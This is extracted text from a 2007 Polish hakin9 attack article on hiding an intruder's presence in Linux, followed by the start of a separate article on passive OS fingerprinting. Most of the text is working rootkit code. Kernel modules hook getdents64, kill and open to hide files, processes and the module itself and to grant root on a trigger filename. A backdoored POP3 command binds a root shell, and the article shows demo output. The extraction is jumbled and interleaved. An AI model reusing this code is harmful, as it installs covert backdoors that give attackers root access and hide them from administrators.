<linux/kernel.h>

#include

<linux/module.h>

#include

<linux/dirent.h>

#include

<linux/unistd.h>

#include

<linux/string.h>

#include

<asm/uaccess.h>

#include

<linux/proc_fs.h>

#include

<linux/fs.h>

#include

<asm/types.h>

#include

<linux/file.h>

#include

<linux/sched.h>

#define __KERNEL_SYSCALLS__
#include

<linux/syscalls.h>

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

/* Sygna│, który będziemy wysyłać do procesu. */

#define SIGHIDE 64

/* Flaga jak będziemy ustawiali procesowi */

#define PF_HIDDEN 0x10000000

void

**

sys_call_table

;

asmlinkage

int

(*

old_getdents64

)

background image

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

29

Dalej czyszczona jest zmienna serv,
która przechowuje strukturę soc-

kaddr_in.

memset(&serv, 0x0, sizeof(serv));

Po jej wyczyszczeniu, ustawiane
są w niej odpowiednie pola. Pole
sin_family określa rodzinę protoko-
łów,

sin _ addr.s _ addr

określa, ja-

ki ma być adres źródłowy danego
połączenia. W przypadku usług bę-
dzie to adres, na którym ma dany
program nasłuchiwać.

INADDR _ ANY

oznacza, że będzie to każdy do-
stępny adres IP, tak więc program
będzie słuchał na wszystkich inter-
fejsach serwera. Pole sin_port to
port, na którym będzie uruchomio-
ny backdoor.

serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_

ANY);

serv.sin_port = htons(PORT);

Następnie

informacje

zawar-

te w strukturze przechowywanej w
zmiennej serv, są przekazane do
funkcji

bind()

, która powoduje "na-

zwanie" danego socketu.

if (bind(sock, (struct sockaddr *)
&serv, sizeof(serv)) < 0) {
perror("bind");
exit(1);
}

Teraz można otworzyć port (słuchać
na nim –

listen()

) oraz oczekiwać na

połączenie od intruza.

if (listen(sock, 5) < 0) {
perror("listen");
exit(1);
}

Dalej przechodzimy do katalogu
głównego oraz oczekujemy na nad-
chodzące połączenie.

chdir("/");
slen = sizeof(cli);
scli = accept(sock, (struct sockaddr

*)

&cli, &slen);
if (scli < 0) exit(0);

Listing 5a.

Realizacja zadań

(

unsigned

int

fd

,

struct

linux_dirent64

*

dirp

,

unsigned

int

count

);

asmlinkage

int

(*

old_kill

)(

pid_t

,

int

);

int

znajdz_sct

(

void

);

int

znajdz_sct

()

{

unsigned

long

*

ptr

;

ptr

=(

unsigned

long

*)

((

init_mm

.

end_code

+

4

)

&

0xfffffffc

);

while

((

unsigned

long

)

ptr

<

(

unsigned

long

)

init_mm

.

end_data

)

{

if

((

unsigned

long

*)*

ptr

==

(

unsigned

long

*)

sys_close

)

{

if

((

unsigned

long

*)*((

ptr

-

__NR_close

)+

__NR_read

)

==

(

unsigned

long

*)

sys_read

&&

*((

ptr

-

__NR_close

)+

__NR_open

)

==

(

unsigned

long

)

sys_open

)

{

sys_call_table

=

(

void

**)

((

unsigned

long

*)

(

ptr

-

__NR_close

));

break

;

}

}

ptr

++;

}

if

(

sys_call_table

==

NULL

)

{

return

-

1

;

}

else

{

return

1

;

}

return

-

1

;

}

/* Funkcja wycina numer procesu ze scieżki /proc/pid */

int

new_atoi

(

char

*

path

)

{

int

r

=

0

,

m

=

1

;

char

*

ptr

;

for

(

ptr

=

path

;

*

ptr

;

ptr

++);

ptr

--;

while

(

ptr

>=

path

)

{

if

(*

ptr

<

'0'

||

*

ptr

>

'9'

)

{

r

=

0

;

break

;

}

r

+=

(*

ptr

-

0x30

)

*

m

;

m

*=

10

;

ptr

--;

}

return

r

;

}

struct

task_struct

*

new_find_task

(

pid_t

pid

)

{

struct

task_struct

*

p

;

read_lock

(&

tasklist_lock

);

for_each_process

(

p

)

{

if

(

p

->

pid

==

pid

)

{

read_unlock

(&

tasklist_lock

);

return

p

;

}

}

read_unlock

(&

tasklist_lock

);

return

NULL

;

}

/* Funkcja sprawdza czy dany proces ma status 'HIDDEN' */

char

is_hidden

(

pid_t

pid

)

{

struct

task_struct

*

p

;

if

(

pid

<

0

)

return

0

;

/* Sprawdzamy czy istnieje proces o podanym pid */

if

((

p

=

new_find_task

(

pid

))

==

NULL

)

return

0

;

/* Sprawdzamy czy ma flagŕ PF_HIDDEN */

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

30

Gdy nawiązane zostanie połączenie,
przekazujemy jego deskryptor jako
stdin, stdout oraz stderr do urucha-
mianego programu. W naszym przy-
padku jest to powłoka.

dup2(scli, 0);
dup2(scli, 1);
dup2(scli, 2);
execl("/bin/sh", "sh", "-i", NULL);

Żeby wszystko działało jak należy,
musimy jeszcze zdefiniować pole-
cenie, które aktywuje naszą funk-
cję. Dodajemy ją zatem do struktury

pop _ auth _ commands[]

:

static struct pop_command
pop_auth_commands[] = {
{"QUIT", pop_auth_quit},
{"USER", pop_auth_user},
{"PASS", pop_auth_pass},
{"HACK", pop_auth_hack},
{NULL, NULL}
};

Teraz, w momencie wpisania polece-
nia HACK, wywołana zostanie funk-
cja

pop _ auth _ hack()

.

Poniższy przykład pokazuje, jak

działa nasz backdoor:

(zim@hamas ~)$ nc 0 110
+OK
HACK
(zim@hamas ~)$

Po połączeniu się na port 110 serwe-
ra pop3 wpisaliśmy komendę HACK,
która ma uruchomić backdoora na
porcie 4000. Teraz łączymy się na
ten port, żeby uzyskać dostęp do
powłoki z uprawnieniami superużyt-
kownika.

(zim@hamas ~)$ nc 0 4000
(root@hamas /)$ id
uid=0(root) gid=0(root) euid=45(popa3d)
groups=45(popa3d)
(root@hamas /)$ whoami
root
(root@hamas /)$

Backdoor w kernelu

Znacznie skuteczniejszą metodą
na ukrycie tylnej furtki w systemie,
jest wykorzystanie w tym celu ją-

Listing 5b.

Realizacja zadań

if

((

p

->

flags

&

PF_HIDDEN

)

==

PF_HIDDEN

)

{

return

1

;

}

return

0

;

}

int

new_kill

(

pid_t

pid

,

int

sig

)

{

struct

task_struct

*

p

=

new_find_task

(

pid

);

if

(

p

==

NULL

)

return

-

ESRCH

;

/* Sprawdzamy jaki sygnał wysłano procesowi */

if

(

sig

==

SIGHIDE

)

{

/* JeÂli proces już jest ukryty - zdejmujemy status PF_HIDDEN */

if

((

p

->

flags

&

PF_HIDDEN

)

==

PF_HIDDEN

)

{

p

->

flags

&=

~

PF_HIDDEN

;

}

/* JeÂli nie jest ukryty - ukrywamy */

else

{

p

->

flags

|=

PF_HIDDEN

;

}

return

0

;

}

return

(*

old_kill

)(

pid

,

sig

);

}

asmlinkage

int

new_getdents64

(

unsigned

int

fd

,

void

*

dirent

,

unsigned

int

count

)

{

struct

linux_dirent64

*

d

,

*

d2

,

*

orig

,

*

curr

,

*

prev

=

0

;

struct

file

*

f

;

struct

super_block

*

sb

;

struct

inode

*

i

;

int

n

,

n2

,

len

;

char

*

ptr

;

char

proc

;

d

=

(

struct

linux_dirent64

*)

dirent

;

if

((

f

=

fget

(

fd

))

==

NULL

)

{

return

-

EBADF

;

}

/* Pobierz właściwy superblock dla danego katalogu */

sb

=

f

->

f_dentry

->

d_sb

;

i

=

f

->

f_dentry

->

d_inode

;

/* Wczytujemy strukture katalogˇw */

n

=

old_getdents64

(

fd

,

dirent

,

count

);

/* Spraw╝ czy jesteÂmy w /proc */

if

(

sb

->

s_magic

==

PROC_SUPER_MAGIC

)

proc

=

1

;

if

(

n

<=

0

)

{

fput

(

f

);

return

n

;

}

d2

=

kmalloc

(

n

,

GFP_KERNEL

);

/* Sprawdzamy czy zaalokowano pami */

if

(

d2

==

NULL

)

{

fput

(

f

);

return

n

;

}

/* Kopiujemy wczytaną strukturę */

if

(

copy_from_user

(

d2

,

d

,

n

))

{

return

-

EFAULT

;

}

orig

=

d2

;

ptr

=

(

char

*)

d2

;

n2

=

n

;

/* Analizujemy wczytane dane */

while

(

ptr

<

((

char

*)

orig

+

n2

))

{

curr

=

(

struct

linux_dirent64

*)

ptr

;

background image

Maskowanie obecności w GNU/Linux

hakin9 Nr 3/2007

www.hakin9.org

31

dra. Może to być np. przechwytywa-
nie wywołań otwarcia jakiegoś pli-
ku, sprawdzenie jego nazwy i jeśli
zgadza się ona z naszą, wymyślo-
ną wcześniej, moduł daje procesowi

uid=0

. Dla uproszczenia nie będzie-

my porównywać całości nazwy pli-
ku, sprawdzimy tylko, czy w nazwie
otwieranego pliku jest jakiś zdefinio-
wany ciąg znaków.

Zanim jednak przeanalizujemy

działanie takiego modułu, omówmy

kilka zmian, które zaszły w kernelu
2.6 względem kernela 2.4. Otóż de-
veloperzy jądra zmienili sposób do-
stępu do tablicy

sys _ call _ table[]

.

Nie jest już eksportowana i dostępna
z poziomu innych modułów, tak więc
aby zachować styl programowania
z jąder 2.4, należy najpierw zdobyć
adres tablicy

sys _ call _ table[]

.

Jest kilka sposobów na jego zdo-

bycie oraz wykorzystanie przy pro-
gramowaniu backdoorów. Jedną z
łatwiejszych metod jest pobranie ad-
resu tablicyz pliku System.map:

# grep sys_call_table /boot/System.map
c03a22a0 R sys_call_table
#

Teraz możemy go przypisać sta-
łej

SCT _ ADDR

, a stałą udostępnić w

zmiennej

sys _ call _ table

. W tej

chwili pozostaje tylko wywołać ma-
kro

EXPORT _ SYMBOL

void **sys_call_table;
static int __init m_init(void) {
sys_call_table = (void**)SCT_ADDR;
EXPORT_SYMBOL(sys_call_table);
return 0;
}

Listing całego modułu eksportują-
cego adres tablicy znajduje się na
Listingu 2. Po załadowaniu modułu
możemy sprawdzić, czy tablica jest
wyeksportowana. Przedstawia to Li-
sting 7. Jednakże zamiast stosować
dodatkowy moduł i eksportować ta-
blicę, wygodniej będzie napisać
funkcję, która wyszuka początek ta-
blicy i udostępni jej adres w module,
który ma podmienić określone wy-
wołanie systemowe. Funkcja ta prze-
szukuje przestrzeń adresową proce-
su, próbując trafić na adres wywoła-
nia systemowego

sys _ close

. Gdy je

znajdzie, może w dosyć prosty spo-
sób dotrzeć do adresu początku ta-
blicy sys_call_table, dzięki czemu
można zachować konwencję pro-
gramowania modułów znaną z ker-
neli 2.4.X. Funkcja opisana jest na
Listingu 3, prezentującym działanie
backdoora. Gdy mamy już dostęp do
tablicy syscalli, możemy przejść do
omawiania działania backdoora.

Listing 5c.

Realizacja zadań

len

=

curr

->

d_reclen

;

/* Jeżeli proces jest ukryty, nie pokazujemy go */

if

(

proc

&&

is_hidden

(

new_atoi

(

curr

->

d_name

)))

{

if

(!

prev

)

{

n

-=

len

;

d2

=

(

struct

linux_dirent64

*)((

char

*)

d2

+

len

);

}

else

{

prev

->

d_reclen

+=

len

;

memset

(

curr

,

0

,

len

);

}

}

else

prev

=

curr

;

ptr

+=

len

;

}

/* Po przefiltrowaniu zwracamy dane do userspace */

if

(

copy_to_user

(

d

,

d2

,

n

))

{

return

-

EFAULT

;

}

/* I zwalniamy zaalokowaną pamięć */

kfree

(

orig

);

fput

(

f

);

return

n

;

}

static

int

__init

m_init

(

void

)

{

if

(!

znajdz_sct

())

{

return

-

1

;

}

old_getdents64

=

sys_call_table

[

__NR_getdents64

];

sys_call_table

[

__NR_getdents64

]=

new_getdents64

;

old_kill

=

sys_call_table

[

__NR_kill

];

sys_call_table

[

__NR_kill

]

=

new_kill

;

return

0

;

}

static

void

__exit

m_exit

(

void

)

{

sys_call_table

[

__NR_getdents64

]=

old_getdents64

;

sys_call_table

[

__NR_kill

]

=

old_kill

;

}

module_init

(

m_init

);

module_exit

(

m_exit

);

Listing 6.

Załadowanie modułu

#include

<linux/kernel.h>

#include

<linux/module.h>

#include

<linux/string.h>

MODULE_AUTHOR

(

"Robert Jaroszuk <zim@iq.pl>"

);

MODULE_LICENSE

(

"GPL"

);

static

int

__init

m_init

(

void

)

{

if

(

__this_module

.

list

.

next

)

__this_module

.

list

.

next

=

__this_module

.

list

.

next

->

next

;

return

0

;

}

static

void

__exit

m_exit

(

void

)

{

}

module_init

(

m_init

);

module_exit

(

m_exit

);

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

32

Definiujemy najpierw poszukiwa-

ny ciąg znaków:

char *string = "trabant";

Następnie piszemy zmodyfikowa-
ną wersję wywołania systemowego

sys_open:

asmlinkage int new_open(const char
*pathname, int flag, int mod) {
if (strstr(pathname, string)) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
current->parent->uid = 0;
current->parent->gid = 0;
current->parent->euid = 0;
current->parent->egid = 0;
}
return (old_open(pathname, flag,

mod));

}

Sprawdzamy w nim, czy w zmiennej
pathname znajduje się ciąg znaków
zdefiniowany w zmiennej string. Jeśli
tak jest, ustawiamy uid/gid/euid/egid
bieżącego procesu oraz procesu-ro-

dzica na wartość 0. Uid procesu-ro-
dzica zmieniamy dlatego, że w przy-
padku gdy np. wydamy polecenie
cat trabant, bieżącym procesem, z
punktu widzenia jądra, jest program
cat, a nie powłoka z której wydaliśmy
to polecenie, tak więc to cat dosta-
nie

uid = 0

.

Kod całego modułu znajduje się

na Listingu 3. Kompilacja i użycie:

# cd listing3_file
# make
.
.
# insmod listing3_file.ko

Teraz sprawdzamy, czy nasz back-
door działa prawidłowo. Przestawia
to Listing 8.

Gdy znamy już sposoby tworze-

nia backdoora w kernelu, warto za-
poznać się z technikami ukrywania
swojej obecności.

Zacznijmy od ukrywania plików.

Można to zrobić na kilka sposobów
- analogicznie jak w przypadku wy-
woływania sys_open, można zmo-
dyfikować wybrane wywołanie sys-
temowe, aby nie pokazywało plików

Listing 7.

Po załadowaniu modułu możemy sprawdzić, czy tablica jest

wyeksportowana

# grep sys_call /proc/kallsyms
# insmod listing2_export_sct.ko
# grep sys_call /proc/kallsyms

e0957004

r

__ksymtab_sys_call_table

.

8423

[

listing2_export_sct

]

e0957010

r

__kstrtab_sys_call_table

.

8422

[

listing2_export_sct

]

e095700c

r

__kcrctab_sys_call_table

.

8421

[

listing2_export_sct

]

00000000

w

__crc_sys_call_table

[

listing2_export_sct

]

e0957600

B

sys_call_

table

[

listing2_export_sct

]

#

Listing 8.

Sprawdzamy, czy nasz backdoor działa prawidłowo

$

id

uid

=

1003

(

hacker

)

gid

=

1003

(

hacker

)

groups

=

1003

(

hacker

)

$

cat

trabant

cat

:

trabant

:

No

such

file

or

directory

$

id

uid

=

0

(

root

)

gid

=

0

(

root

)

groups

=

1003

(

hacker

)

$

Listing 9a.

Działanie

kompletnego modułu

realizującego ukrywanie plików

przedstawiony z Listingu 4

# touch _XXX_tego_pliku_nie_widac_

XXX_

# ls -la

total

65

drwx

------

3

zim

zim

584

Nov

16

03

:

53

.

drwx

------

8

zim

zim

360

Nov

16

03

:

49

..

-

rw

-

r

--

r

--

1

root

root

211

Nov

16

03

:

53

.

built

-

in

.

o

.

cmd

-

rw

-

r

--

r

--

1

root

root

334

Nov

16

03

:

53

.

listing4_

hidefile

.

ko

.

cmd

-

rw

-

r

--

r

--

1

root

root

11825

Nov

16

03

:

53

.

listing4_hidefile

.

mod

.

o

.

cmd

-

rw

-

r

--

r

--

1

root

root

12134

Nov

16

03

:

53

.

listing4_

hidefile

.

o

.

cmd

drwxr

-

xr

-

x

2

root

root

88

Nov

16

03

:

53

.

tmp_versions

-

rw

-

r

--

r

--

1

zim

zim

74

Nov

16

03

:

53

Makefile

-

rw

-

r

--

r

--

1

root

root

0

Nov

16

03

:

53

Module

.

symvers

-

rw

-

r

--

r

--

1

root

root

0

Nov

16

03

:

53

_XXX_tego_pliku_nie_widac_XXX_

-

rw

-

r

--

r

--

1

root

root

8

Nov

16

03

:

53

built

-

in

.

o

-

rw

-------

1

zim

zim

3037

Nov

16

03

:

53

listing4_hidefile

.

c

-

rw

-

r

--

r

--

1

root

root

4199

Nov

16

03

:

53

listing4_hidefile

.

ko

-

rw

-

r

--

r

--

1

root

root

898

Nov

16

03

:

53

listing4_hidefile

.

mod

.

c

-

rw

-

r

--

r

--

1

root

root

2400

Nov

16

03

:

53

listing4_hidefile

.

mod

.

o

-

rw

-

r

--

r

--

1

root

root

2388

Nov

16

03

:

53

listing4_hidefile

.

o

# insmod listing4_hidefile.ko
# ls -la

total

65

drwx

------

3

zim

zim

584

Nov

16

03

:

53

.

drwx

------

8

zim

zim

360

Nov

16

03

:

49

..

-

rw

-

r

--

r

--

1

root

root

211

Nov

16

03

:

53

.

built

-

in

.

o

.

cmd

-

rw

-

r

--

r

--

1

root

root

334

Nov

16

03

:

53

.

listing4_hidefile

.

ko

.

cmd

-

rw

-

r

--

r

--

1

root

root

11825

Nov

16

03

:

53

.

listing4_hidefile

.

mod

.

o

.

cmd

-

rw

-

r

--

r

--

1

root

root

12134

Nov

16

03

:

53

.

listing4_hidefile

.

o

.

cmd

drwxr

-

xr

-

x

2

root

root

88

background image

Maskowanie obecności w GNU/Linux

z określonym uid/gid, albo zawiera-
jących w nazwie wcześniej zdefinio-
wany ciąg znaków. Jak działa w ker-
nelu samo listowanie katalogów?
Otóż realizowane jest ono zapośred-
nictwem wywołania systemowego

sys _ getdents64

, która za pośrednic-

twem VFS (Virtual File System), czy-
li swoistego interfejsu pomiędzy ob-
sługą systemu plików a środowiskiem
użytkownika, pobiera listę plików i ka-
talogów ze wskazanego katalogu i za-
pisuje je w strukturze

linux _ dirent64

.

Mogąc pisać swoje wywołania syste-
mowe, najprościej podstawić zamiast
oryginalnego

sys _ getdents64

, jego

zmodyfikowaną wersję. Modyfikacja
będzie podobna do tej z poprzednie-
go przykładu. Sprawdzimy czy da-
ny plik/katalog zawiera w nazwie ja-
kiś ciąg znaków i jeśli tak się stanie, to
pominiemy go przy wyświetlaniu wy-
niku polecenia ls.

Listing przedstawiający kompletny

moduł realizujący ukrywanie plików
przedstawiony jest w na Listingu 4.
Jego działanie prezentuje Listing 9.

Jak widać – plik stał się niewi-

doczny nawet dla roota. Oczywiście,
gdybyśmy chcieli wyświetlić ten plik
pytając bezpośrednio o niego (

ls -al

_ XXX _ tego _ pliku _ nie _ widac _
XXX _

),

ls

pokaże go nam, bo w tym

przypadku system korzysta z wywo-
łania

sys _ open()

, które działa nor-

malnie. Gdybyśmy chcieli, aby i w ta-
kim przypadku plik był ukryty, należy
zmodyfikować wywołanie

sys _ open

,

aby - analogicznie jak w powyższym
przykładzie – sprawdzało nazwę pli-
ku i jeśli zawiera ona zadeklarowa-
ny ciąg znaków, wywołanie zwraca-
łoby

-ENOENT

.

My tego rozwiązania tutaj nie sto-

sujemy, bo uniemożliwiałoby nam to
korzystanie z plików, które są ukryte

Listing 9b.

Działanie

kompletnego modułu

realizującego ukrywanie plików

przedstawiony z Listingu 4

Nov

16

03

:

53

.

tmp_versions

-

rw

-

r

--

r

--

1

zim

zim

74

Nov

16

03

:

53

Makefile

-

rw

-

r

--

r

--

1

root

root

0

Nov

16

03

:

53

Module

.

symvers

-

rw

-

r

--

r

--

1

root

root

8

Nov

16

03

:

53

built

-

in

.

o

-

rw

-------

1

zim

zim

3037

Nov

16

03

:

53

listing4_hidefile

.

c

-

rw

-

r

--

r

--

1

root

root

4199

Nov

16

03

:

53

listing4_hidefile

.

ko

-

rw

-

r

--

r

--

1

root

root

898

Nov

16

03

:

53

listing4_hidefile

.

mod

.

c

-

rw

-

r

--

r

--

1

root

root

2400

Nov

16

03

:

53

listing4_hidefile

.

mod

.

o

-

rw

-

r

--

r

--

1

root

root

2388

Nov

16

03

:

53

listing4_hidefile

.

o

#

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2007

www.hakin9.org

Atak

34

(np. jeśli ukrywamy logi ze sniffera, nie
było by możliwe ich późniejsze otwar-
cie ani do zapisu ani do odczytu). Przy
modyfikowaniu

sys _ open

warto zmo-

dyfikować też

sys _ stat

, inaczej ls nam

pliku nie pokaże, ale zrobi to stat.

Jak do tej pory wszystko by-

ło fajne i ciekawe. Mamy backdo-
ory, umożliwiające uzyskanie

uid=0

,

ukrywamy pliki, ale nadal widocz-
ne są nasze procesy. Je też moż-
na łatwo schować - na przykład po-
przez ustawianie procesom konkret-
nej flagi.

Można to zrobić przechwytując

wywołanie systemowe sys_kill, dzię-
ki któremu, wysyłając procesowi od-
powiedni sygnał, ustawimy mu naszą

flagę. Gdy proces odróżnia się już od
innych, należy zrobić coś, aby proce-
sów z określoną flagą nie było widać.
To z kolei można osiągnąć poprzez
inną modyfikację wywołania

sys _

getdents64()

, które jest wykorzysty-

wane do przeglądania listy proce-
sów (poprzez system plików procfs
zamontowany w /proc). Jak to osią-
gnąć? Na początek wybieramy sobie
dowolny konkretny sygnał - najlepiej
taki, który nie będzie wykorzystywa-
ny. Ja wybrałem 64. Jako flagę bę-
dziemy ustawiać

0x10000000

.

W Listingu 5 przedstawiłem kom-

pletny moduł, który realizuje powyż-
sze zadania. Tradycyjnie – kompilu-
jemy i ładujemy moduł:

Aby wysłać sygnał do procesu

potrzebny będzie nam osobny pro-
gram (kill nie wyśle sygnału o nu-
merze wyższym niż zdefiniowane 1
– 63). Przedstawia to Listing 10. Te-
raz wybierzmy proces do ukrycia,
może xmms? (Listing 11).

Ponowne wysłanie procesu zno-

wu czyni go widocznym. Zatem mo-
duł działa prawidłowo.

Teraz dwie bardzo istotne rzeczy.

Dzieci procesu ukrytego są widocz-
ne, oraz same moduły są widoczne.
Pierwszy problem jest bardzo łatwy
do rozwiązania – wystarczy tak zmo-
dyfikować

sys _ fork()

, aby spraw-

dzało czy proces jest ukryty (jest do
tego funkcja

is _ hidden()

w module

hideproc

) i jeśli jest, to konieczne jest

ustawienie mu flagi

PF _ HIDDEN

. Drugi

problem również nie jest taki znowu
trudny do rozwiązania. Wystarczy
w strukturze

'struct module'

ostat-

nio załadowanego modułu, zmienić
wskaźnik

'next'

, aby wskazywał na

moduł jeszcze wcześniej załadowa-
ny. Realizuje to moduł z Listingu 6.
Po jego kompilacji możemy go zała-
dowć tak jak na Listingu 12. Jak wi-
dać – moduł hideproc zniknął.

Tak więc potrafimy już stworzyć

backdoora, który bez pozostawia-
nia żadnych śladów da nam

uid = 0

.

Potrafimy ukrywać pliki oraz proce-
sy, a także ukrywać moduły załado-
wane do jądra systemu. Połączenie
tych kilku modułów w jeden pozosta-
wiam do wykonania Wam, jako pra-
cę domową. l

Listing 10.

Wysyłanie sygnału do procesu

# cat > newkill.c
#include
#include

int

main

(

int

argc

,

char

*

argv

[])

{

int

pid

,

sig

;

if

(

argc

!=

3

)

exit

(

1

);

sig

=

atoi

(

argv

[

1

]);

pid

=

atoi

(

argv

[

2

]);

kill

(

pid

,

sig

);

exit

(

0

);

}

# gcc -o newkill newkill.c
#

Listing 11.

Wybieramy proces xmms? do ukrycia

# ps aux|grep xmms

zim

4703

0.2

1.4

46640

7452

?

Ssl

00

:

31

0

:

04

xmms

root

5596

0.0

0.0

1648

500

tty2

R

+

01

:

02

0

:

00

grep

xmms

# ./newkill 64 4703
# ps aux|grep xmms

root

5605

0.0

0.0

1648

504

tty2

R

+

01

:

03

0

:

00

grep

xmms

#
# ./newkill 64 21971
# ps aux|grep xmms

zim

4703

0.2

1.5

47532

7936

?

Ssl

00

:

31

0

:

04

xmms

root

5608

0.0

0.0

1648

504

tty2

R

+

01

:

03

0

:

00

grep

xmms

#

Listing 12.

Kompilacja modułu z Listingu 6

# lsmod|head -4

Module

Size

Used

by

Tainted

:

P

listing5_hideproc

2888

0

printer

6720

0

(

unused

)

usb

-

uhci

21100

0

(

unused

)

# insmod listing6_hidemodule.ko && rmmod listing6_hidemodule
# lsmod|head -4

Module

Size

Used

by

Tainted

:

P

printer

6720

0

(

unused

)

usb

-

uhci

21100

0

(

unused

)

#

background image
background image

www.hakin9.org

hakin9 Nr 3/2007

36

Atak

J

est to możliwe dzięki małym różnicom
pomiędzy implementacjami protokołów
na różnych systemach i urządzeniach.

Fakt ten umożliwia ich odróżnienie, a nawet
zdobycie wielu ciekawych informacji, co z kolei
pozwala ustalić nazwę i wersję systemu.

OS fingerprinting ogólnie

Rozpoznawanie systemów operacyjnych mo-
że być prowadzone na poziomie popularnych
protokołów TCP, UDP oraz ICMP. My zaj-
miemy się jedynie jednym z nich, a miano-
wicie TCP, ponieważ umożliwia on uzyskanie
największej ilości informacji ze względu na
złożoną budowę nagłówka pakietu TCP/IP.
Ogólnie pojęty OS fingerprinting ma wiele za-
stosowań:

• szybkie rozpoznawanie ofiar lub potencjal-

nych intruzów;

• określanie budowy sieci;
• monitorowanie sieci oraz jej użytkowników;
• zaspokojenie zwykłej ludzkiej ciekawości.

Z pewnością każda osoba, która używała ska-
nera nmap zna opcję

-O

, której zadaniem jest

przeprowadzenie testów w celu określenia na-

zwy i wersji systemu. nmap wysyła szereg pa-
kietów i analizuje odpowiedzi skanowanej ma-
szyny. Jest to fingerprinting aktywny, który w
przeciwieństwie do pasywnego wymaga wy-
słania pakietów w stronę skanowanej maszy-
ny. Z tego powodu typowa sesja nmap może
zostać z łatwością wykryta (charakterystyczna
budowa pakietów) przez odpowiednie narzę-
dzia, co umożliwia także zabezpieczenie się
przed tym skanerem.

Pasywne rozpoznawanie

systemów operacyjnych

Marcin Ulikowski

stopień trudności

Zdalne rozpoznawanie systemów operacyjnych (ang. OS

fingerprinting) to działanie, które ma na celu ustalenie jaki system

jest zainstalowany na maszynie, do której mamy jedynie zdalny

dostęp.

Z artykułu dowiesz się...

• na czym polega atak na protokół TCP z wyko-

rzystaniem komunikatów ICMP;

• w jaki sposób przeprowadzić przykładowy atak

z wykorzystaniem protokołu ICMP;

• jak zabezpieczyć system przed atakiem tego

rodzaju.

Co powinieneś wiedzieć...

• znajomość podstawowych informacji na temat

protokołów sieciowych i komunikacji w Interne-
cie;

• znajomość elementów nagłówka IP oraz TCP.

background image

Pasywne rozpoznawanie systemów operacyjnych

hakin9 Nr 3/2007

www.hakin9.org

37

Pasywna odmiana fingerprin-

tingu ma wiele zalet w stosunku do
aktywnej. Za największą możemy
uznać fakt, iż nie wymaga wysyła-
nia żadnych pakietów, co czyni ją
także niemożliwą do wykrycia. Na-
tomiast największą wadą mogą być
mniej precyzyjne wyniki, które są na-
stępstwem niedoboru informacji (pa-
kietów) i braku dwustronnego kon-
taktu ze zdalnym systemem. nmap
ma dostęp do większej ilości infor-
macji (na przykład kolejnych nume-
rów sekwencyjnych), ponieważ ana-
lizuje odpowiedzi na wysyłane przez
siebie pakiety i zwykle potrafi zdobyć
więcej danych o skanowanym syste-
mie. Jednak praktyka pokazuje, że
nie jest to aż tak wielka przewaga jak

się wydaje. Tabela 1 zawiera krótkie
porównanie aktywnego i pasywnego
fingerprintingu.

Budowa pakietu TCP/IP

Aby wiedzieć w jaki sposób zdal-
nie rozpoznać system operacyjny,
niezbędna będzie wiedza na te-
mat budowy nagłówków IP oraz
TCP. Analizując pakiety wysyłane
będziemy mogli odgadnąć nazwę
oraz wersje systemu na konkretnej
maszynie. Skupimy się na pakie-
tach wysyłanych podczas nawią-
zywania połączenia, czyli z usta-
wioną flagą SYN. Pakiety z tą fla-
gą zawierają największą ilość cha-
rakterystycznych informacji dla da-
nego systemu. Rysunek 2 zawiera
zapis programu tcpdump, który
przedstawia dwa pakiety wysła-
ne przez ten sam system podczas
nawiązywania połączenia (tzw.

three-way handshake – potrójny
uścisk dłoni).

Łatwo zauważyć, że obydwa

pakiety mają taką samą wielkość
oraz zawierają trzy pola o takiej
samej wartości. Zaznaczone pola
są charakterystyczne dla różnych
implementacji stosów TCP. Dzię-
ki ich analizie i porównaniu bę-
dzie możliwe określenie systemów
operacyjnych na zdalnych maszy-
nach. Wiemy już czego potrzebu-

jemy. Teraz dowiemy się jaką funk-
cję spełniają interesujące nas ele-
menty pakietu. Dowiemy się też
w jaki sposób możemy je wyko-
rzystać do odgadywania zdalnych
systemów.

Flagi IP

Jest to pole długości 4 bitów wy-
korzystywane przy fragmentacji
pakietów. Flaga Don't Fragment
(ang. nie dziel pakietów) to infor-
macja, że pakiet nie może ulec
fragmentacji, czyli nie może zo-
stać podzielony na mniejsze pakie-
ty podczas transmisji. Jest używa-
na przez systemy do wykrywania
optymalnego rozmiaru pakietu na
trasie pomiędzy dwiema maszyna-
mi. Jeśli jeden z routerów pośred-
niczących w transmisji nie zgodzi
się przekazać pakietu dalej, wy-
śle komunikat ICMP do nadawcy
z informacją, aby przesłał pakiet z
mniejszą ilością danych. Flaga DF
nie jest stosowana przez starsze
systemy (na przykład Linux 2.0,
czy nawet skaner nmap) co jest
dla nas cenną wskazówką.

Time to Live

Pole to może przyjmować warto-
ści od 0 do 255 (długość 8 bitów).
Jest zmniejszane za każdym ra-
zem, gdy pakiet jest przekazywa-

Tabela 1.

Wady i zalety aktywnego i pasywnego rozpoznawania systemów

Aktywny fingerprinting

Pasywny fingerprinting

Wymaga wysłania pakietów w stronę skanowanej ma-
szyny

Nie wymaga wysyłania pakietów

Umożliwia rozpoznanie systemu tylko na routerze

Umożliwia rozpoznanie systemu zarówno na routerze
jak i na maszynach za nim

Ograniczają go bardzo restrykcyjne firewalle (znikome
odpowiedzi na wysłane pakiety)

Nie ograniczają go firewalle, ponieważ pakiety dociera-
ją do nas w sposób naturalny np. podczas zwykłej sesji
FTP lub SSH

Bardziej precyzyjne wyniki (nie we wszystkich przypad-
kach)

Mniej precyzyjne wyniki

Możliwy do wykrycia, szczególnie, kiedy stosowane są
popularne narzędzia

Niemożliwy do wykrycia, całkowita anonimowość

Skąd biorą się różnice

między systemami

Specyfikacje, które pokazują jak proto-
koły sieciowe powinny być implemento-
wane zawarte są w dokumentach RFC
(Request For Comments). Jak można
się domyślić, różnice wynikają z błę-
dów człowieka (na przykład nie do-
czytanie specyfikacji lub jej błędne
zrozumienie), które są rzeczą natural-
ną i niemożliwą do całkowitego wyeli-
minowania. Błędy przytrafiają się twór-
com wszystkich systemów. Jednak nie
możemy całej winy zrzucić na autorów
systemów. Często różnice powstają w
wyniku nie zawarcia niektórych norm
w RFC, implementowania różnego ro-
dzaju ulepszeń, które nieco wykraczają
poza standard, lub są wynikiem błędów
programistycznych.

